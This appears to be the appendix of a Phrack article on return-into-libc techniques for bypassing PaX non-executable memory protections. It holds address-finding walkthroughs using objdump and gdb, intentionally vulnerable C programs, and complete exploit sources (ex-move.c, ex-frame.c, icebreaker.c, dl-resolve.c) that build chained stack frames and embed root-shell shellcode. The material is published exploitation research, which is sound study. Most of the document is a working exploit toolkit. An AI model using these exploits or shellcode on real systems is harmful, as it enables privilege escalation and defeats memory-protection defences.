1) LIBC

```
[nergal@behemoth pax]$ ldd ./vuln.omit
        libc.so.6 => /lib/libc.so.6 (0x4001e000) <- this is our address
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

2) STRCPY

```
[nergal@behemoth pax]$ objdump -T vuln.omit

vuln.omit:     file format elf32-i386

DYNAMIC SYMBOL TABLE:
08048348  w   DF *UND*  00000081  GLIBC_2.0   __register_frame_info
08048358      DF *UND*  0000010c  GLIBC_2.0   getenv
08048368  w   DF *UND*  000000ac  GLIBC_2.0   __deregister_frame_info
08048378      DF *UND*  000000e0  GLIBC_2.0   __libc_start_main
08048388  w   DF *UND*  00000091  GLIBC_2.1.3 __cxa_finalize
08048530 g    DO .rodata        00000004  Base        _IO_stdin_used
00000000  w   D  *UND*  00000000              __gmon_start__
08048398      DF *UND*  00000030  GLIBC_2.0   strcpy
   ^
   |---- this is the address we seek
```

3) MMAP

```
[nergal@behemoth pax]$ objdump -T /lib/libc.so.6 | grep mmap
```
~~~~~~~~~~~~

```
000daf10  w   DF .text  0000003a  GLIBC_2.0   mmap
000db050  w   DF .text  000000a0  GLIBC_2.1   mmap64
        The address we need is 000daf10, then.
```

4) POPSTACK
        We have to find "add $imm,%esp" followed by "ret". We must
disassemble vuln.omit with the command "objdump --disassemble ./vuln.omit".
To simplify, we can use

```
[nergal@behemoth pax]$ objdump --disassemble ./vuln.omit |grep -B 1 ret
...some crap
--
 80484be:       83 c4 2c                add    $0x2c,%esp
 80484c1:       c3                      ret
--
 80484fe:       5d                      pop    %ebp
 80484ff:       c3                      ret
--
...more crap
```

We have found the esp moving instructions at 0x80484be.

5) POPNUM
        This is the amount of bytes which are added to %esp in POPSTACK.
In the previous example, it was 0x2c.

6) PLAIN_RET
        The address of a "ret" instruction. As we can see in the disassembler
output, there is one at 0x80484c1.

7) FRAMES
        Now, the tough part. We have to find the %esp value just after the
overflow (our overflow payload will be there). So, we will make vuln.omit
dump core (alternatively, we could trace it with a debugger). Having adjusted
all previous #defines, we run ex-move with a "testing" argument, which will
put 0x5060708 into saved %eip.

```
[nergal@behemoth pax]$ ./ex-move testing
Segmentation fault (core dumped)          <- all OK
[nergal@behemoth pax]$ gdb ./vuln.omit core
(no debugging symbols found)...
Core was generated by ./vuln.omit'.
Program terminated with signal 11, Segmentation fault.
#0  0x5060708 in ?? ()
```

        If in the %eip there is other value than 0x5060708, this means that
we have to align our overflow payload. If necessary, "scratch" array in
"struct ov" should be re-sized.

```
(gdb) info regi
...
esp            0xbffffde0       0xbffffde0
...
```

The last value we need is 0xbffffde0.

II. ex-frame.c
~~~~~~~~~~~~~~

        Again LIBC, STRCPY, MMAP, LEAVERET and FRAMES must be adjusted. LIBC,
STRCPY, MMAP and FRAMES should be determined in exactly the same way like in
case of ex-move.c. LEAVERET should be the address of a "leave; ret"
~~~~~~~~~~~~~~

sequence; we can find it with
```
[nergal@behemoth pax]$ objdump --disassemble vuln|grep leave -A 1
objdump: vuln: no symbols
 8048335:       c9                      leave
 8048336:       c3                      ret
--
 80484bd:       c9                      leave
 80484be:       c3                      ret
--
 8048518:       c9                      leave
 8048519:       c3                      ret
```

So, we may use 0x80484bd for our purposes.

III. dl-resolve.c
~~~~~~~~~~~~~~~~~

We have to adjust STRTAB, SYMTAB, JMPREL, VERSYM and PLT_SECTION defines. As they refer to dl-resolve binary itself, we have to compile it twice with the same compiler options. For the first compilation, we can #define dummy values. Then, we run
```
[nergal@behemoth pax]$ objdump -x dl-resolve
```
In the output, we see:
```
[...crap...]
Dynamic Section:
  NEEDED      libc.so.6
  INIT        0x804839c
  FINI        0x80486ec
  HASH        0x8048128
  STRTAB      0x8048240   (!!!)
  SYMTAB      0x8048170   (!!!)
  STRSZ       0xa1
  SYMENT      0x10
  DEBUG       0x0
  PLTGOT      0x80497a8
  PLTRELSZ    0x48
  PLTREL      0x11
  JMPREL      0x8048354   (!!!)
  REL         0x8048344
  RELSZ       0x10
  RELENT      0x8
  VERNEED     0x8048314
  VERNEEDNUM  0x1
  VERSYM      0x80482f8   (!!!)
```

The PLT_SECTION can also be retrieved from "objdump -x" output
```
[...crap...]
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  080480f4  080480f4  000000f4  2**0
...
 11 .plt          000000a0  080483cc  080483cc  000003cc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
```
So, we should use 0x080483cc for our purposes. Having adjusted the defines, you should compile dl-resolve.c again. Then run it under strace. At the end, there should be something like:
~~~~~~~~~~~~~~~~~

```
old_mmap(0xaa011000, 16846848, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0x1011000) = 0xaa011000
_exit(123)                              = ?
```

        As we see, mmap() is called, though it was not present in
dl-resolve.c's PLT. Of course, I could have added the shellcode execution,
but this would unnecessarily complicate this proof-of-concept code.

IV. icebreaker.c
~~~~~~~~~~~~~~~~

Nine #defines have to be adjusted. Most of them have already been explained.
Two remain: FRAMESINDATA and VIND.

1) FRAMESINDATA
This is the location of a static (or malloced) variable where the fake
frames are copied to. In case of pax.c, we need to find the address of
"bigbuf" array. If the attacked binary was not stripped, it would be easy.
Otherwise, we have to analyse the disassembler output. The "bigbuf" variable
is present in the arguments to "strncat" function in pax.x, line 13:

```
                strncat(bigbuf, ptr, sizeof(bigbuf)-1);
```

So we may do:

```
[nergal@behemoth pax]$ objdump -T pax | grep strncat
0804836c      DF *UND*  0000009e  GLIBC_2.0   strncat
[nergal@behemoth pax]$ objdump -d pax|grep 804836c -B 3  <- _not_ 0804836c
objdump: pax: no symbols
 8048362:       ff 25 c8 95 04 08       jmp    *0x80495c8
 8048368:       00 00                   add    %al,(%eax)
 804836a:       00 00                   add    %al,(%eax)
 804836c:       ff 25 cc 95 04 08       jmp    *0x80495cc
--
 80484e5:       68 ff 03 00 00          push   $0x3ff           <- 1023
 80484ea:       ff 75 e4                pushl  0xffffffe4(%ebp) <- ptr
 80484ed:       68 c0 9a 04 08          push   $0x8049ac0       <- bigbuf
 80484f2:       e8 75 fe ff ff          call   0x804836c
```

So, the address of bigbuf is 0x8049ac0.

2) VIND
As mentioned in the phrack article, we have to determine [lowaddr, hiaddr]
bounds, then search for a null short int in the interval
[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8].

```
[nergal@behemoth pax]$ gdb ./icebreaker
(gdb) set args testing
(gdb) r
Starting program: /home/nergal/pax/./icebreaker testing
Program received signal SIGTRAP, Trace/breakpoint trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x4ffb7d30 in ?? ()      <- icebreaker executed pax
(gdb) c
Continuing.
```
~~~~~~~~~~~~~~~~

```
Program received signal SIGSEGV, Segmentation fault.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x5060708 in ?? ()      <- pax has segfaulted
(gdb) shell
[nergal@behemoth pax]$ ps ax | grep pax
 1419 pts/0    T      0:00 pax
[nergal@behemoth pax]$ cat /proc/1419/maps
08048000-08049000 r-xp 00000000 03:45 100958     /home/nergal/pax/pax
08049000-0804a000 rw-p 00000000 03:45 100958     /home/nergal/pax/pax
^^^^^^^^^^^^^^^^^
^^^^^^^^^^^^^^^^^ here are our lowaddr, hiaddr
4ffb6000-4ffcc000 r-xp 00000000 03:45 107760     /lib/ld-2.1.92.so
4ffcc000-4ffcd000 rw-p 00015000 03:45 107760     /lib/ld-2.1.92.so
4ffcd000-4ffce000 rw-p 00000000 00:00 0
4ffd4000-500ef000 r-xp 00000000 03:45 107767     /lib/libc-2.1.92.so
500ef000-500f5000 rw-p 0011a000 03:45 107767     /lib/libc-2.1.92.so
500f5000-500f9000 rw-p 00000000 00:00 0
bfff6000-bfff8000 rw-p fffff000 00:00 0
[nergal@behemoth pax]$ exit
exit
(gdb) printf "0x%x\n", 0x80482a8+(0x08049000-0x8048164)/8
0x804847b
(gdb) printf "0x%x\n", 0x80482a8+(0x0804a000-0x8048164)/8
0x804867b
/* so, we search for a null short in [0x804847b, 0x804867b]
(gdb) printf "0x%x\n", 0x804867b-0x804847b
0x200
(gdb) x/256hx 0x804847b
... a lot of beautiful 0000 in there...

Now read the section 6.2 in the phrack article, or just try a few of the
addresses found.
<-->

<++> phrack-nergal/vuln.c !a951b08a
#include <stdlib.h>
#include <string.h>
int
main(int argc, char ** argv)
{
      char buf[16];
      char * ptr = getenv("LNG");
      if (ptr)
            strcpy(buf,ptr);
}
<-->

<++> phrack-nergal/ex-move.c !81bb65d0
/* by Nergal */

#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC             0x4001e000
#define STRCPY           0x08048398
```

```
#define MMAP            (0x000daf10+LIBC)
#define POPSTACK        0x80484be
#define PLAIN_RET       0x80484c1
#define POPNUM          0x2c
#define FRAMES          0xbffffde0

#define MMAP_START      0xaa011000

char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* This is a stack frame of a function which takes two arguments */
struct two_arg {
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_args {
        unsigned int func;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
        unsigned int fd;
        unsigned int offset;
};

/* The beginning of our overflow payload.
Consumes the buffer space and overwrites %eip */
struct ov {
        char scratch[28];
        unsigned int eip;
};

/* The second part ot the payload. Four functions will be called:
strcpy, strcpy, mmap, strcpy */
struct ourbuf {
        struct two_arg zero1;
        char pad1[8 + POPNUM - sizeof(struct two_arg)];
        struct two_arg zero2;
        char pad2[8 + POPNUM - sizeof(struct two_arg)];
        struct mmap_args mymmap;
        char pad3[8 + POPNUM - sizeof(struct mmap_args)];
        struct two_arg trans;
        char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))
//#define PTR_TO_NULL 0x80484a7

main(int argc, char **argv)
```

```
{
        char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
        char *env[2] = { lg, 0 };
        struct ourbuf thebuf;
        struct ov theov;
        int i;

        memset(theov.scratch, 'X', sizeof(theov.scratch));

        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.eip = 0x05060708;
        } else {
/* To make the code easier to read, we initially return into "ret". This will
return into the address at the beginning of our "zero1" struct. */
                theov.eip = PLAIN_RET;
        }

        memset(&thebuf, 'Y', sizeof(thebuf));

        thebuf.zero1.func = STRCPY;
        thebuf.zero1.leave_ret = POPSTACK;
/* The following assignment puts into "param1" the address of the least
significant byte of the "offset" field of "mmap_args" structure. This byte
will be nullified by the strcpy call. */
        thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, offset);
        thebuf.zero1.param2 = PTR_TO_NULL;

        thebuf.zero2.func = STRCPY;
        thebuf.zero2.leave_ret = POPSTACK;
/* Also the "start" field must be the multiple of page. We have to nullify
its least significant byte with a strcpy call. */
        thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, start);
        thebuf.zero2.param2 = PTR_TO_NULL;


        thebuf.mymmap.func = MMAP;
        thebuf.mymmap.leave_ret = POPSTACK;
        thebuf.mymmap.start = MMAP_START + 1;
        thebuf.mymmap.length = 0x01020304;
/* Luckily, 2.4.x kernels care only for the lowest byte of "prot", so we may
put non-zero junk in the other bytes. 2.2.x kernels are more picky; in such
case, we would need more zeroing. */
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
/* Same as above. Be careful not to include MAP_GROWS_DOWN */
        thebuf.mymmap.flags =
            0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;
        thebuf.mymmap.offset = 0x01021001;

/* The final "strcpy" call will copy the shellcode into the freshly mmapped
area at MMAP_START. Then, it will return not anymore into POPSTACK, but at
MMAP_START+1.
*/
```

```
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, 'x', sizeof(thebuf.hell));
        strncpy(thebuf.hell, hellcode, strlen(hellcode));

        strcpy(lg, "LNG=");
        memcpy(lg + 4, &theov, sizeof(theov));
        memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
        lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

        if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
                fprintf(stderr,
                    "size=%i len=%i; zero(s) in the payload, correct it.\n",
                    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
                    strlen(lg));
                exit(1);
        }
        execle("./vuln.omit", "./vuln.omit", 0, env, 0);
}
<-->

<++> phrack-nergal/pax.c !af6a33c4
#include <stdlib.h>
#include <string.h>
char spare[1024];
char bigbuf[1024];

int
main(int argc, char ** argv)
{
      char buf[16];
      char * ptr=getenv("STR");
      if (ptr) {
            bigbuf[0]=0;
            strncat(bigbuf, ptr, sizeof(bigbuf)-1);
      }
      ptr=getenv("LNG");
      if (ptr)
             strcpy(buf, ptr);
}
<-->

<++> phrack-nergal/ex-frame.c !a3f70c5e
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>

#define LIBC        0x4001e000
#define STRCPY      0x08048398
#define MMAP        (0x000daf10+LIBC)
#define LEAVERET    0x80484bd
#define FRAMES      0xbffffe30

#define MMAP_START  0xaa011000
```

```
char hellcode[] =
    "\x90"
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


/* See the comments in ex-move.c */
struct two_arg {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_args {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
        unsigned int fd;
        unsigned int offset;
};

struct ov {
        char scratch[24];
        unsigned int ebp;
        unsigned int eip;
};

struct ourbuf {
        struct two_arg zero1;
        struct two_arg zero2;
        struct mmap_args mymmap;
        struct two_arg trans;
        char hell[sizeof(hellcode)];
};

#define PTR_TO_NULL (FRAMES+sizeof(struct ourbuf))

main(int argc, char **argv)
{
        char lg[sizeof(struct ov) + sizeof(struct ourbuf) + 4 + 1];
        char *env[2] = { lg, 0 };
        struct ourbuf thebuf;
        struct ov theov;
        int i;

        memset(theov.scratch, 'X', sizeof(theov.scratch));

        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.ebp = 0x01020304;
                theov.eip = 0x05060708;
        } else {
                theov.ebp = FRAMES;
                theov.eip = LEAVERET;
        }
        thebuf.zero1.new_ebp = FRAMES + offsetof(struct ourbuf, zero2);
        thebuf.zero1.func = STRCPY;
        thebuf.zero1.leave_ret = LEAVERET;
        thebuf.zero1.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, offset);
        thebuf.zero1.param2 = PTR_TO_NULL;

        thebuf.zero2.new_ebp = FRAMES + offsetof(struct ourbuf, mymmap);
        thebuf.zero2.func = STRCPY;
        thebuf.zero2.leave_ret = LEAVERET;
        thebuf.zero2.param1 = FRAMES + offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_args, start);
        thebuf.zero2.param2 = PTR_TO_NULL;


        thebuf.mymmap.new_ebp = FRAMES + offsetof(struct ourbuf, trans);
        thebuf.mymmap.func = MMAP;
        thebuf.mymmap.leave_ret = LEAVERET;
        thebuf.mymmap.start = MMAP_START + 1;
        thebuf.mymmap.length = 0x01020304;
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
        /* again, careful not to include MAP_GROWS_DOWN below */
        thebuf.mymmap.flags =
            0x01010200 | MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;
        thebuf.mymmap.offset = 0x01021001;

        thebuf.trans.new_ebp = 0x01020304;
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMES + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, 'x', sizeof(thebuf.hell));
        strncpy(thebuf.hell, hellcode, strlen(hellcode));

        strcpy(lg, "LNG=");
        memcpy(lg + 4, &theov, sizeof(theov));
        memcpy(lg + 4 + sizeof(theov), &thebuf, sizeof(thebuf));
        lg[4 + sizeof(thebuf) + sizeof(theov)] = 0;

        if (sizeof(struct ov) + sizeof(struct ourbuf) + 4 != strlen(lg)) {
                fprintf(stderr,
                    "size=%i len=%i; zero(s) in the payload, correct it.\n",
                    sizeof(struct ov) + sizeof(struct ourbuf) + 4,
                    strlen(lg));
                exit(1);
        }
        execle("./vuln", "./vuln", 0, env, 0);
}
<-->
```

```
<++> phrack-nergal/dl-resolve.c !d5fc32b7
/* by Nergal */
#include <stdlib.h>
#include <elf.h>
#include <stdio.h>
#include <string.h>

#define STRTAB 0x8048240
#define SYMTAB 0x8048170
#define JMPREL 0x8048354
#define VERSYM 0x80482f8

#define PLT_SECTION "0x080483cc"

void graceful_exit()
{
        exit(123);
}

void doit(int offset)
{
        int res;
        __asm__ volatile ("
            pushl $0x01011000
            pushl $0xffffffff
            pushl $0x00000032
            pushl $0x00000007
            pushl $0x01011000
            pushl $0xaa011000
            pushl %%ebx
            pushl %%eax
            pushl $" PLT_SECTION "
            ret"
            :"=a"(res)
            :"0"(offset),
            "b"(graceful_exit)
        );

}

/* this must be global */
Elf32_Rel reloc;

#define ANYTHING 0xfe
#define RQSIZE 60000
int
main(int argc, char **argv)
{
        unsigned int reloc_offset;
        unsigned int real_index;
        char symbol_name[16];
        int dummy_writable_int;
        char *tmp = malloc(RQSIZE);
        Elf32_Sym *sym;
        unsigned short *null_short = (unsigned short*) tmp;

        /* create a null index into VERSYM */
        *null_short = 0;

        real_index = ((unsigned int) null_short - VERSYM) / sizeof(*null_short);
        sym = (Elf32_Sym *)(real_index * sizeof(*sym) + SYMTAB);
        if ((unsigned int) sym > (unsigned int) tmp + RQSIZE) {
                fprintf(stderr,
                    "mmap symbol entry is too far, increase RQSIZE\n");
                exit(1);
        }

        strcpy(symbol_name, "mmap");
        sym->st_name = (unsigned int) symbol_name - (unsigned int) STRTAB;
        sym->st_value = (unsigned int) &dummy_writable_int;
        sym->st_size = ANYTHING;
        sym->st_info = ANYTHING;
        sym->st_other = ANYTHING & ~3;
        sym->st_shndx = ANYTHING;
        reloc_offset = (unsigned int) (&reloc) - JMPREL;
        reloc.r_info = R_386_JMP_SLOT + real_index*256;
        reloc.r_offset = (unsigned int) &dummy_writable_int;

        doit(reloc_offset);
        printf("not reached\n");
        return 0;
}
<-->

<++> phrack-nergal/icebreaker.c !19d7ec6d
/* by Nergal */
#include <stdio.h>
#include <stddef.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define STRCPY          0x080483cc
#define LEAVERET        0x08048359
#define FRAMESINDATA    0x08049ac0

#define STRTAB          0x8048204
#define SYMTAB          0x8048164
#define JMPREL          0x80482f4
#define VERSYM          0x80482a8
#define PLT             0x0804835c

#define VIND            0x804859b

#define MMAP_START      0xaa011000

char hellcode[] =
    "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80"
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

/*
Unfortunately, if mmap_string = "mmap", accidentaly there appears a "0" in
```

```
our payload. So, we shift the name by 1 (one 'x').
*/
#define NAME_ADD_OFF 1

char mmap_string[] = "xmmap";




struct two_arg {
        unsigned int new_ebp;
        unsigned int func;
        unsigned int leave_ret;
        unsigned int param1;
        unsigned int param2;
};
struct mmap_plt_args {
        unsigned int new_ebp;
        unsigned int put_plt_here;
        unsigned int reloc_offset;
        unsigned int leave_ret;
        unsigned int start;
        unsigned int length;
        unsigned int prot;
        unsigned int flags;
        unsigned int fd;
        unsigned int offset;
};
struct my_elf_rel {
        unsigned int r_offset;
        unsigned int r_info;
};
struct my_elf_sym {
        unsigned int st_name;
        unsigned int st_value;
        unsigned int st_size;        /* Symbol size */
        unsigned char st_info;        /* Symbol type and binding */
        unsigned char st_other;        /* ELF spec say: No defined meaning, 0 */
        unsigned short st_shndx;        /* Section index */

};


struct ourbuf {
        struct two_arg reloc;
        struct two_arg zero[8];
        struct mmap_plt_args mymmap;
        struct two_arg trans;
        char hell[sizeof(hellcode)];
        struct my_elf_rel r;
        struct my_elf_sym sym;
        char mmapname[sizeof(mmap_string)];

};

struct ov {
        char scratch[24];
        unsigned int ebp;
        unsigned int eip;
};

#define PTR_TO_NULL (VIND+1)
/* this functions prepares strcpy frame so that the strcpy call will zero
   a byte at "addr"
*/
void fix_zero(struct ourbuf *b, unsigned int addr, int idx)
{
        b->zero[idx].new_ebp = FRAMESINDATA +
            offsetof(struct ourbuf,
            zero) + sizeof(struct two_arg) * (idx + 1);
        b->zero[idx].func = STRCPY;
        b->zero[idx].leave_ret = LEAVERET;
        b->zero[idx].param1 = addr;
        b->zero[idx].param2 = PTR_TO_NULL;
}

/* this function checks if the byte at position "offset" is zero; if so,
prepare a strcpy frame to nullify it; else, prepare a strcpy frame to
nullify some secure, unused location */
void setup_zero(struct ourbuf *b, unsigned int offset, int zeronum)
{
        char *ptr = (char *) b;
        if (!ptr[offset]) {
                fprintf(stderr, "fixing zero at %i(off=%i)\n", zeronum,
                    offset);
                ptr[offset] = 0xff;
                fix_zero(b, FRAMESINDATA + offset, zeronum);
        } else
                fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
                    zeronum);
}

/* same as above, but prepare to nullify a byte not in our payload, but at
absolute address abs */
void setup_zero_abs(struct ourbuf *b, unsigned char *addr, int offset,
    int zeronum)
{
        char *ptr = (char *) b;
        if (!ptr[offset]) {
                fprintf(stderr, "fixing abs zero at %i(off=%i)\n", zeronum,
                    offset);
                ptr[offset] = 0xff;
                fix_zero(b, (unsigned int) addr, zeronum);
        } else
                fix_zero(b, FRAMESINDATA + sizeof(struct ourbuf) + 4,
                    zeronum);
}

int main(int argc, char **argv)
{
        char lng[sizeof(struct ov) + 4 + 1];
        char str[sizeof(struct ourbuf) + 4 + 1];
        char *env[3] = { lng, str, 0 };
        struct ourbuf thebuf;
        struct ov theov;
        int i;
        unsigned int real_index, mysym, reloc_offset;

        memset(theov.scratch, 'X', sizeof(theov.scratch));
        if (argc == 2 && !strcmp("testing", argv[1])) {
                for (i = 0; i < sizeof(theov.scratch); i++)
                        theov.scratch[i] = i + 0x10;
                theov.ebp = 0x01020304;
                theov.eip = 0x05060708;
        } else {
                theov.ebp = FRAMESINDATA;
                theov.eip = LEAVERET;
        }
        strcpy(lng, "LNG=");
        memcpy(lng + 4, &theov, sizeof(theov));
        lng[4 + sizeof(theov)] = 0;

        memset(&thebuf, 'A', sizeof(thebuf));
        real_index = (VIND - VERSYM) / 2;
        mysym = SYMTAB + 16 * real_index;
        fprintf(stderr, "mysym=0x%x\n", mysym);
        if (mysym > FRAMESINDATA
            && mysym < FRAMESINDATA + sizeof(struct ourbuf) + 16) {
                fprintf(stderr,
                    "syment intersects our payload;"
                    " choose another VIND or FRAMESINDATA\n");
                exit(1);
        }

        reloc_offset = FRAMESINDATA + offsetof(struct ourbuf, r) - JMPREL;

/* This strcpy call will relocate my_elf_sym from our payload to a fixed,
appropriate location (mysym)
*/
        thebuf.reloc.new_ebp =
            FRAMESINDATA + offsetof(struct ourbuf, zero);
        thebuf.reloc.func = STRCPY;
        thebuf.reloc.leave_ret = LEAVERET;
        thebuf.reloc.param1 = mysym;
        thebuf.reloc.param2 = FRAMESINDATA + offsetof(struct ourbuf, sym);




        thebuf.mymmap.new_ebp =
            FRAMESINDATA + offsetof(struct ourbuf, trans);
        thebuf.mymmap.put_plt_here = PLT;
        thebuf.mymmap.reloc_offset = reloc_offset;
        thebuf.mymmap.leave_ret = LEAVERET;
        thebuf.mymmap.start = MMAP_START;
        thebuf.mymmap.length = 0x01020304;
        thebuf.mymmap.prot =
            0x01010100 | PROT_EXEC | PROT_READ | PROT_WRITE;
        thebuf.mymmap.flags =
            0x01010000 | MAP_EXECUTABLE | MAP_FIXED | MAP_PRIVATE |
            MAP_ANONYMOUS;
        thebuf.mymmap.fd = 0xffffffff;
        thebuf.mymmap.offset = 0x01021000;
        thebuf.trans.new_ebp = 0x01020304;
        thebuf.trans.func = STRCPY;
        thebuf.trans.leave_ret = MMAP_START + 1;
        thebuf.trans.param1 = MMAP_START + 1;
        thebuf.trans.param2 = FRAMESINDATA + offsetof(struct ourbuf, hell);

        memset(thebuf.hell, 'x', sizeof(thebuf.hell));
        memcpy(thebuf.hell, hellcode, strlen(hellcode));

        thebuf.r.r_info = 7 + 256 * real_index;
        thebuf.r.r_offset = FRAMESINDATA + sizeof(thebuf) + 4;
        thebuf.sym.st_name =
            FRAMESINDATA + offsetof(struct ourbuf, mmapname)
            + NAME_ADD_OFF- STRTAB;

        thebuf.sym.st_value = FRAMESINDATA + sizeof(thebuf) + 4;
#define ANYTHING 0xfefefe80
        thebuf.sym.st_size = ANYTHING;
        thebuf.sym.st_info = (unsigned char) ANYTHING;
        thebuf.sym.st_other = ((unsigned char) ANYTHING) & ~3;
        thebuf.sym.st_shndx = (unsigned short) ANYTHING;

        strcpy(thebuf.mmapname, mmap_string);

/* setup_zero[_abs] functions prepare arguments for strcpy calls, which
are to nullify certain bytes
*/
        setup_zero(&thebuf,
            offsetof(struct ourbuf, r) +
            offsetof(struct my_elf_rel, r_info) + 2, 0);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, r) +
            offsetof(struct my_elf_rel, r_info) + 3, 1);

        setup_zero_abs(&thebuf,
            (char *) mysym + offsetof(struct my_elf_sym, st_name) + 2,
                    offsetof(struct ourbuf, sym) +
                offsetof(struct my_elf_sym, st_name) + 2, 2);

        setup_zero_abs(&thebuf,
            (char *) mysym + offsetof(struct my_elf_sym, st_name) + 3,
                    offsetof(struct ourbuf, sym) +
                offsetof(struct my_elf_sym, st_name) + 3, 3);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, start), 4);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, offset), 5);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, reloc_offset) + 2, 6);

        setup_zero(&thebuf,
            offsetof(struct ourbuf, mymmap) +
            offsetof(struct mmap_plt_args, reloc_offset) + 3, 7);

        strcpy(str, "STR=");
        memcpy(str + 4, &thebuf, sizeof(thebuf));
        str[4 + sizeof(thebuf)] = 0;
        if (sizeof(struct ourbuf) + 4 >
            strlen(str) + sizeof(thebuf.mmapname)) {
                fprintf(stderr,
                    "Zeroes in the payload, sizeof=%d, len=%d, correct it !\n",
                    sizeof(struct ourbuf) + 4, strlen(str));
                fprintf(stderr, "sizeof thebuf.mmapname=%d\n",
                    sizeof(thebuf.mmapname));
                exit(1);
        }
        execle("./pax", "pax", 0, env, 0);
        return 1;
}
<-->
```